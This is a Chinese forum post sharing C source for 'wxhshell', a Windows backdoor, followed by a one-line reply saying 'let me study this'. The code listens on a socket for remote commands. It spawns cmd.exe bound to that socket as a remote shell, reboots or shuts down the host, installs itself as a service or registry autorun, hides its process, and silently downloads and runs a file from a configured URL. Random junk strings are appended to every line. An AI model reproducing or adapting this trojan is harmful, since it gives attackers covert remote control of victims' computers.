  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?!/kZM_ts  
  } K\c#ig   
  else { iO; 7t@]-  
,~W|]/b<q  
    switch(cmd[0]) { x'R`. !g3  
  Od)C&N=y  
  // 帮助 _v]MsT-q  
  case '?': { \xoP)Ub>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^pk7"l4Xm  
    break; ;t`&n['N>  
  } U :_^#\p  
  // 安装 \1Em`nvOX  
  case 'i': { r" ,GC]  
    if(Install()) sCHJ&>m5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQ2E  
    else D. XvG_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -A!%*9Z  
    break; 7Hu3>4<  
    } P7/X|M z  
  // 卸载 FaJ&GOM,  
  case 'r': { W `}Rf\g  
    if(Uninstall()) E-g_".agO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*KHS A  
    else jRV/A!4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wq`Bd  
    break; }RqK84K  
    } >[*qf9$  
  // 显示 wxhshell 所在路径 bA->{OPkT  
  case 'p': { 45>?o  
    char svExeFile[MAX_PATH]; {Y9q[D'g.  
    strcpy(svExeFile,"\n\r"); 7D5]G-}x.  
      strcat(svExeFile,ExeFile); H<N,%G  
        send(wsh,svExeFile,strlen(svExeFile),0); tIgN$BHR>  
    break; i~J'%a<Qp  
    } wj0\$NQ=x  
  // 重启 6!FQzFCZq  
  case 'b': { VP]%Hni]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cExS7~*  
    if(Boot(REBOOT)) rw #$lP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3Vx76Y  
    else { d6 5L!4  
    closesocket(wsh); '!$Rw"K.  
    ExitThread(0); c!9nnTap  
    } V "h +L7T  
    break; @;RXLq/8  
    } u.Dz~$T  
  // 关机 CeC6hGR5  
  case 'd': { ~/P[J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^J;bso`  
    if(Boot(SHUTDOWN)) }pu27F)&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LFtt gY  
    else { %bfQ$a:  
    closesocket(wsh); <UQbt N-B\  
    ExitThread(0); C~iL3C b  
    } Dm<A ^u8  
    break; HA>OkA/  
    } n7-6- #  
  // 获取shell <e</m)j  
  case 's': { y h9*z3  
    CmdShell(wsh); 9qG6Pb  
    closesocket(wsh); 3/n5#&c\4  
    ExitThread(0); Jze:[MYS  
    break; dlTt _.  
  } )hfpwdQ  
  // 退出 u4 h4.NHX  
  case 'x': { <W$mj04@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `+Q%oj#FF  
    CloseIt(wsh); j8lb~0JD  
    break; 9;-p'C  
    } %8~NqS|=  
  // 离开  a!AA]  
  case 'q': { SI-Ops~e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'SF<_aS(  
    closesocket(wsh); ^ (zYzd  
    WSACleanup(); W9GVt$T7  
    exit(1); %d<"l~<5;  
    break; 7O-x<P;  
        } _zi|  
  } WEi2=3dV  
  } 0Z{ZO*rK  
~FG]wNgS  
  // 提示信息 :X (=z;B;N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G*P#]eO  
} ^3L0w}#  
  } cH t#us  
|_@>*Vmg  
  return; ,1o FPa{?  
} j+  0I-p  
VS8Rx.?  
// shell模块句柄 b}TS0+TF  
int CmdShell(SOCKET sock) JrRH\+4K  
{ j HJ`,#  
STARTUPINFO si; L0WN\|D  
ZeroMemory(&si,sizeof(si)); j\^CV?}sm'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a HR"n|7{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y/ ef>ZZ  
PROCESS_INFORMATION ProcessInfo; Gu\q%'I  
char cmdline[]="cmd"; bAtSVu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o]I\6,T/|  
  return 0; 5taT5?n2  
} {[?(9u7R  
1NA.nw.  
// 自身启动模式 J]pir4&j  
int StartFromService(void) N U`  
{ 6gu!bu`~  
typedef struct CdjI`  
{ lchPpm9  
  DWORD ExitStatus; m`^q <sj  
  DWORD PebBaseAddress; A*547=M/(j  
  DWORD AffinityMask; 4)urU7[ &)  
  DWORD BasePriority; ={@6{-tl  
  ULONG UniqueProcessId; D7Q$R:6|  
  ULONG InheritedFromUniqueProcessId; > jc [nk  
}   PROCESS_BASIC_INFORMATION; ]K,Tnyp  
K F!Yf\  
PROCNTQSIP NtQueryInformationProcess; Od,qbU4O  
fSvM(3Y<Qh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uf;^%*P4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R|87%&6']  
,S]7 'UP  
  HANDLE             hProcess; jLHkOk5{:  
  PROCESS_BASIC_INFORMATION pbi; Sk\K4  
:emiQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tqn@P  
  if(NULL == hInst ) return 0; z/2//mM  
3eAX.z`D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Sh?S]]`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mLLDE;7|}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V#gK$uv  
gu.}M:u  
  if (!NtQueryInformationProcess) return 0; v\%HPMlh  
@>2i+)=E5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hH8oyIC  
  if(!hProcess) return 0;  < !C)x  
['tY4$L(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4*cEag   
R=2FNP  
  CloseHandle(hProcess); !@*7e:l  
`% "\@<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #r~# I}U  
if(hProcess==NULL) return 0; (m(JK^  
T;a}#56{^  
HMODULE hMod; ~H<6gN<j(.  
char procName[255]; +.b,AqJ/  
unsigned long cbNeeded; .2Elr(&*h  
b&N'C9/8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9x9T<cx  
u(F_oZ~  
  CloseHandle(hProcess); 9ZsVy  
w4{<n /"  
if(strstr(procName,"services")) return 1; // 以服务启动 paE[rS\  
3J|F?M"N7  
  return 0; // 注册表启动 nRZ]z( b  
} 8COGsWK  
,~@X{7U  
// 主模块 RmeD$>7  
int StartWxhshell(LPSTR lpCmdLine) SBk4_J/_  
{ k:#!zK}  
  SOCKET wsl; [ =9T*Sp  
BOOL val=TRUE; #:U%mHT(_  
  int port=0; )e=D(qd  
  struct sockaddr_in door; Em !/a$  
' ;FnIZ  
  if(wscfg.ws_autoins) Install(); |tMWCA  
E`usknf>l  
port=atoi(lpCmdLine); Vl=l?A8  
a;qryUyG  
if(port<=0) port=wscfg.ws_port; =M [bnq*\  
PQSP&  
  WSADATA data; jTtu0Q|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .*S#aq4S  
b;W3j   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &4x}ppX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oC: {aK6\  
  door.sin_family = AF_INET; G+"t/?/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /1V xc 6  
  door.sin_port = htons(port); )9'K($  
7<#U(,YEA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;oKZ!ND  
closesocket(wsl); 6"5A%{ J  
return 1; 6"O+w=5B  
} qHplJ "  
2M#Q.F  
  if(listen(wsl,2) == INVALID_SOCKET) { Ls$D$/:q?  
closesocket(wsl); _~J {wM  
return 1; "R1NG?; q  
} #64-~NVL_  
  Wxhshell(wsl); (pCrmyB  
  WSACleanup(); FQ7T'G![  
u=?.}Pj  
return 0; ~IfJwBn-i  
n&;85IF1  
} TA`1U;c{n  
=_ ./~  
// 以NT服务方式启动 (ybI\UI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WwBOM~/`2  
{ ;!mzyb*  
DWORD   status = 0; L:pYn_  
  DWORD   specificError = 0xfffffff; qYjce]c  
2W96Zju\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HV!m8k=6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JPc+rfF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $%CF8\0  
  serviceStatus.dwWin32ExitCode     = 0; +\c5]`  
  serviceStatus.dwServiceSpecificExitCode = 0; Sw8]EH6  
  serviceStatus.dwCheckPoint       = 0; +mmSfuO&\  
  serviceStatus.dwWaitHint       = 0; 3G)#5 Lf<  
7u S~MW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0w \zLU  
  if (hServiceStatusHandle==0) return; 7Oa#c<2]  
Pg0x/X{t  
status = GetLastError(); mzaWST]  
  if (status!=NO_ERROR) vv3* j&I  
{ 0d"[l@UU0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pw7]r<Q  
    serviceStatus.dwCheckPoint       = 0; J!v3i*j\  
    serviceStatus.dwWaitHint       = 0; iwZPpl ";  
    serviceStatus.dwWin32ExitCode     = status; F3v !AvA|  
    serviceStatus.dwServiceSpecificExitCode = specificError; x=hiQ>BIO0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pMx*F@&nU  
    return; I {S;L  
  } 0[NZ>7wqMZ  
HZzDVCU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G_3O]BMKd)  
  serviceStatus.dwCheckPoint       = 0; j^j1  
  serviceStatus.dwWaitHint       = 0; \:# L)   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qPX~@^`9  
} Sz)' ogl  
0_95|3kc  
// 处理NT服务事件,比如:启动、停止 =)H.c uc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w(*vj  
{ TluW-S  
switch(fdwControl) zUkgG61  
{ dUeN*Nq&(,  
case SERVICE_CONTROL_STOP: BOb">6C  
  serviceStatus.dwWin32ExitCode = 0; JgKO|VO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; axv>6k  
  serviceStatus.dwCheckPoint   = 0; ENl)Ts`y  
  serviceStatus.dwWaitHint     = 0; JIEK*ui  
  { uB]7G0g:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $<dH?%!7  
  } ;v)JnbsH}  
  return; ld|5TN1  
case SERVICE_CONTROL_PAUSE: G6q }o)[m)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fn jPSts0  
  break; F 5bj=mI  
case SERVICE_CONTROL_CONTINUE: n71r_S*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gq4Tb c oA  
  break; ?K$(817  
case SERVICE_CONTROL_INTERROGATE: oo/qb`-6  
  break; w=0(<s2  
}; =1FRFZI!j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1y4|{7bb  
} q 6:dy  
Uu10)/.LC  
// 标准应用程序主函数 UAkT*'cB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !=*g@mgF  
{ sQ UM~HD\a  
="1Ind@w!  
// 获取操作系统版本 {nBhdM:i  
OsIsNt=GetOsVer(); 0rQMLx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E<{ R.r  
.;y.]Z/;  
  // 从命令行安装 Z, zWuE3  
  if(strpbrk(lpCmdLine,"iI")) Install(); #vz7y(v  
Q 04al=  
  // 下载执行文件 y|C(X  
if(wscfg.ws_downexe) { qTRsZz@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,8S/t+H  
  WinExec(wscfg.ws_filenam,SW_HIDE); -/wtI   
} tVYF{3BhA  
:;RMo2Tl  
if(!OsIsNt) { YFLZ%(  
// 如果时win9x,隐藏进程并且设置为注册表启动 s [RAHU  
HideProc(); dc+>m,3$  
StartWxhshell(lpCmdLine); 2.`\  
} 7Kr*P<-G  
else {g'(~ qv  
  if(StartFromService()) c?(4t67|  
  // 以服务方式启动 vONasD9At  
  StartServiceCtrlDispatcher(DispatchTable); .wEd"A&j  
else *<$*"p  
  // 普通方式启动 SXSgld2uS  
  StartWxhshell(lpCmdLine); I13y6= d  
a=|K%ii+Y  
return 0; j2t7'bO_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五